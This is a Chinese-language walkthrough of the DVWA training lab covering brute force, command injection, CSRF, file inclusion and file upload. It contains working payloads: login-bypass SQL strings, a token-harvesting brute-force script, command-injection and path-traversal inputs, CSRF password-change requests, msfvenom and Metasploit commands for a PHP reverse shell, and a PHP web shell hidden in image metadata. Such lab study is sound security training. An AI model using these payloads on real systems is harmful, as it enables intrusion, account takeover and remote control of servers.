环境:Linux
,使用语言:sql , python
涉及模块:Brute Forece, Command Injection, Csrf, File Inclusion, File Upload
1. Brute Force(暴力破解)
Low 难度
手工sql注入(在uername
栏填入以下其一sql语句,password
不用管
admin' or '1=1
admin'#
Medium 难度
- 将浏览器代理设置为 Ip:
127.0.0.1
port:8080
- 打开Brupsuite,点击
proxy settings
,编辑代理如上,打开Interccept
- 在Dvwa中设置username和password并点击Login,可以看到burpsuite截获了一个数据包,点击
Action
—send to Intruder
,在Position
中可以看到http头,选中password参数的值,点击add$
- 切换到
payload
选项卡,在payload区域add密码,点击右上角的Start attack
找出与众不同的数据,即是密码
High 难度
每次提交都会生成一个随机token,获取这个token一并提交即可
import requests
import re
header = {
'Host': '127.0.0.1',
'sec-ch-ua': '"Chromium";v="113", "Not-A.Brand";v="24"',
'sec-ch-ua-mobile': '?0',
'sec-ch-ua-platform': '"Linux"',
'Upgrade-Insecure-Requests': '1',
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
'Sec-Fetch-Site': 'same-origin',
'Sec-Fetch-Mode': 'navigate',
'Sec-Fetch-User': '?1',
'Sec-Fetch-Dest': 'document',
'Referer': 'http://localhost/dvwa/vulnerabilities/brute/',
'Accept-Encoding': 'gzip, deflate',
'Accept-Language': 'en-US,en;q=0.9',
'Cookie': 'PHPSESSID=naugp50jvgovup69vseqc8prsb; security=high'
}
requrl = "http://127.0.0.1/dvwa/vulnerabilities/brute/"
def get_token():
# 获取用户 token
response = requests.get(url=requrl, headers=header)
response.encoding = 'utf-8'
content = response.text
# 使用正则表达式查找 user_token
matches = re.findall(r"name='user_token' value='([^']*)'", content)
if matches:
user_token = matches[0] # 提取第一个匹配项
print(f"User token retrieved: {user_token}")
return user_token
else:
print("Failed to retrieve user token.")
exit(1) # 如果无法获取 user_token,退出程序
# 读取密码字典文件并逐行尝试
with open("passwords.txt") as file:
for line in file:
password = line.strip()
# 构建请求的 URL
test_url = f"http://127.0.0.1/dvwa/vulnerabilities/brute/?username=admin&password={password}&Login=Login&user_token={get_token()}"
# 发送请求并获取响应
brute_response = requests.post(url=test_url, headers=header)
print(f"Trying password: {password}")
# 检查响应内容是否表明成功(你可以在此处添加进一步的分析逻辑)
if "Welcome" in brute_response.text: # 假设成功时会出现 "Welcome" 字样
print(f"Password found: {password}")
2. Command Injection(命令行注入)
Low 难度
在输入框中输入 127.0.0.1; ls
后提交,查看文件列表。
Medium 难度
使用 URL 编码(如 127.0.0.1%26ls
)绕过简单过滤。
High 难度
尝试使用替代字符或嵌套命令,如 127.0.0.1 | ls
或 $(ls)
。
3. CSRF(跨站请求伪造)
Low 难度
创建一个伪造表单,提交时会执行未经验证的请求。可以通过 HTML 表单进行攻击。
http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change#
当受害者点击了这个链接,他的密码就会被改成password(这种攻击显得有些拙劣,链接一眼就能看出来是改密码的,而且受害者点了链接之后看到这个页面就会知道自己的密码被篡改了)
Medium 难度
通过reference
字段判断请求是否从dvwa网站本身发起的,若不是就不执行后面的操作
<a href="http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change#">change password</a>
High 难度
在High难度下,DVWA 使用了一些基本的防御机制,例如简单的 CSRF 令牌。攻击者需要绕过这种机制来进行攻击。在这种难度下,需要提取有效的 CSRF 令牌并在恶意请求中使用它。
- 导航到 CSRF 模块,查看页面源代码,可以发现一个隐藏的 user_token 字段。
- 打开浏览器的开发者工具,查看该字段的值。
- 通过以下 Python 脚本获取有效的 CSRF 令牌,并使用它构造恶意请求:
import requests
import re
# 设置目标URL和Cookies(根据你的实际情况更新Cookie)
target_url = "http://127.0.0.1/dvwa/vulnerabilities/csrf/"
cookies = {'PHPSESSID': 'your_session_id', 'security': 'medium'}
# 获取包含CSRF token的页面
response = requests.get(target_url, cookies=cookies)
content = response.text
# 使用正则表达式提取token
token = re.findall(r'name="user_token" value="([^"]+)"', content)[0]
print(f"Extracted CSRF token: {token}")
# 构造包含有效token的恶意请求
data = {
'password_new': 'newpassword',
'password_conf': 'newpassword',
'user_token': token,
'Change': 'Change'
}
# 发送POST请求更改密码
response = requests.post(target_url, cookies=cookies, data=data)
if "Password Changed" in response.text:
print("Password successfully changed!")
else:
print("Failed to change password.")
4. File Inclusion(文件包含)
Low 难度
在输入框中使用 http://localhost/dvwa/vulnerabilities/fi/?page=../../../../../../etc/passwd
等路径遍历方法,查看系统文件。
Medium 难度
通过 URL 编码绕过简单的路径过滤(如 %2e%2e/%2e%2e/%2e%2e/etc/passwd
)。
High 难度
可以尝试将输入内容编码为双重URL编码,例如 %252e%252e%252f
(%25表示%)。或者page=file4.php
找出同文件夹下的隐藏文件
或者通过文件传输协议,构造url:
http://127.0.0.1/dvwa/vulnerabilities/fi/page=file:etc/passwd
5. File Upload(文件上传)
Low 难度
直接上传一个包含恶意代码的 PHP 文件,访问上传路径触发代码。
php恶意文件可以通过metaspolit
生成
Metasploit框架是一个强大的渗透测试工具,它可以用来生成多种类型的恶意载荷(payload),包括PHP木马。生成一个PHP木马(Web Shell),可以帮助攻击者在目标服务器上获得访问权限,尤其是在成功上传了恶意PHP文件的情况下。
下面是使用Metasploit生成PHP木马的步骤:
-
启动Metasploit框架:
打开终端并输入以下命令启动Metasploit框架:msfconsole
-
生成PHP木马:
使用msfvenom
模块生成一个PHP格式的木马。msfvenom
是Metasploit中用来生成有效负载(payload)的工具。命令格式如下:
msfvenom -p php/meterpreter/reverse_tcp LHOST=<攻击者IP> LPORT=<攻击者监听端口> -f raw > shell.php
-p php/meterpreter/reverse_tcp
:指定使用的payload(反向TCP连接的PHP Meterpreter)。LHOST=<攻击者IP>
:设置攻击者的IP地址(您本地监听的IP地址)。LPORT=<攻击者监听端口>
:设置攻击者的监听端口。-f raw
:指定生成PHP的原始格式。> shell.php
:输出到一个名为shell.php
的文件中。
例如:
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f raw > shell.php
-
配置Metasploit监听器:
生成PHP木马后,我们需要配置Metasploit监听器以等待连接。使用以下命令在Metasploit控制台中设置监听器:use exploit/multi/handler set PAYLOAD php/meterpreter/reverse_tcp set LHOST 192.168.1.100 set LPORT 4444 run
use exploit/multi/handler
:使用通用的handler模块来处理反向连接。set PAYLOAD php/meterpreter/reverse_tcp
:设置与生成的payload相同的载荷类型。set LHOST
和set LPORT
:设置与生成木马时相同的IP和端口。
-
上传PHP木马文件到目标服务器:
将生成的shell.php
文件上传到目标服务器。可以利用DVWA的文件上传模块(如果存在文件上传漏洞),或者通过其他方式上传(如通过FTP、文件共享漏洞等)。 -
执行PHP木马:
一旦上传成功,访问木马文件所在的URL。例如,如果上传的文件URL为:http://target.com/uploads/shell.php
访问此URL后,PHP木马文件会被执行,并尝试连接到Metasploit监听器。
-
获取Meterpreter会话:
如果木马文件成功执行,您将在Metasploit控制台上看到一个反向连接的Meterpreter会话提示:meterpreter >
可以使用Meterpreter提供的各种命令执行后续的渗透操作(如文件操作、权限提升、内网渗透等)。
Medium 难度
使用文件名变种(如 shell.php.jpg
)或 Content-Type 绕过简单的扩展名检查。
High 难度
在DVWA的文件上传漏洞(File Upload)模块中,High难度设置下对用户上传文件的安全性检查最为严格。通常,它会限制上传文件的类型、内容,并防止用户上传恶意文件(如PHP脚本)。为了成功绕过这些安全检查并上传一个能被执行的恶意文件,我们需要更复杂的技术来欺骗服务器的验证机制。
- 分析高难度设置下的安全机制:
- 在High难度下,服务器会对上传文件进行严格的验证,包括:
- 文件扩展名检查:只允许上传特定的文件类型(如
.jpg
、.png
等)。 - MIME类型验证:检查文件的MIME类型是否与扩展名匹配。
- 内容检测:部分服务器还会检查文件的内容是否与其扩展名一致。
- 文件扩展名检查:只允许上传特定的文件类型(如
-
构造一个混合文件来绕过扩展名和MIME类型检查:
- 创建一个带有有效图像头部数据(如JPG文件头)的PHP文件(通常称为“双重扩展名文件”或“伪装文件”)。例如,文件内容如下:
<?php /* 伪装为JPEG头部 */ $a = "GIF89a"; /* 图像的伪装数据部分 */ ?> <?php system($_GET['cmd']); ?>
- 将文件命名为
shell.php.jpg
,这样可以绕过扩展名检查,上传时服务器会认为这是一个JPEG文件。
- 创建一个带有有效图像头部数据(如JPG文件头)的PHP文件(通常称为“双重扩展名文件”或“伪装文件”)。例如,文件内容如下:
-
修改文件内容头部来通过MIME类型检查:
- 使用工具如 ExifTool 来修改文件的EXIF数据,使其看起来像是一个合法的图像文件。命令示例:
exiftool -Comment="<?php system($_GET['cmd']); ?>" shell.jpg
- 然后重命名文件为
shell.php.jpg
。
- 使用工具如 ExifTool 来修改文件的EXIF数据,使其看起来像是一个合法的图像文件。命令示例:
-
上传伪装文件:
- 在DVWA的“File Upload”模块中选择并上传
shell.php.jpg
文件。 - 上传后,观察页面的响应。文件应该会被接受,并显示上传的文件路径。
- 访问上传的文件并执行命令:
- 假设上传成功并显示了文件的路径,例如:
http://localhost/dvwa/hackable/uploads/shell.php.jpg
。 - 通过访问该路径并在URL中加入
cmd
参数来执行命令:http://localhost/dvwa/hackable/uploads/shell.php.jpg?cmd=whoami